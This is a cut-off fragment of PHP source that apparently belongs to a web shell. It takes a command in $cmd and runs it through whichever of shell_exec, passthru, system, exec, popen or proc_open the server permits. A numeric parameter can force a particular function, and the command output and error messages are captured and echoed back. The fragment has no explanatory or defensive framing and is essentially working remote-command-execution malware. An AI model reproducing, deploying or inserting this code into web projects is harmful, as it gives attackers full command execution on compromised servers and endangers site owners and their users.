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array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"),)){
$process = @proc_open("$what",$descpec,$pipes);
if (is_resource($process)) {
fwrite($pipes[0], "");
fclose($pipes[0]);
while(!feof($pipes[2])) {
$erro_retorno = fgets($pipes[2], 4096);
if(!empty($erro_retorno)) echo $erro_retorno;//isso mostra tds os erros
}
fclose($pipes[2]);
while(!feof($pipes[1])) {
echo fgets($pipes[1], 4096);
}
fclose($pipes[1]);
$ok_p_fecha = @proc_close($process);
}else echo "It seems that this PHP version (".phpversion().") doesn't support proc_open() function";
}else echo "This PHP version ($pro7) doesn't have the proc_open() or this function is disabled by php.ini";
}
$funE="function_exists";
if($safe){$fe="safemode";$feshow=$fe;}
elseif($funE('shell_exec')){$fe="shell";$feshow="shell_exec";}
elseif($funE('passthru')){$fe="passthru";$feshow=$fe;}
elseif($funE('system')){$fe="system";$feshow=$fe;}
elseif($funE('exec')){$fe="execc";$feshow="exec";}
elseif($funE('popen')){$fe="popenn";$feshow="popen";}
elseif($funE('proc_open')){$fe="procc";$feshow="proc_open";}
else {$fe="nofunction";$feshow=$fe;}
if($fu!="0" or !empty($fu)){
if($fu==1){$fe="passthru";$feshow=$fe;}
if($fu==2){$fe="system";$feshow=$fe;}
if($fu==3){$fe="execc";$feshow="exec";}
if($fu==4){$fe="popenn";$feshow="popen";}
if($fu==5){$fe="shell";$feshow="shell_exec";}
if($fu==6){$fe="procc";$feshow="proc_open";}
}
$fe("$cmd 2>&1");
$output=ob_get_contents();ob_end_clean();
?>
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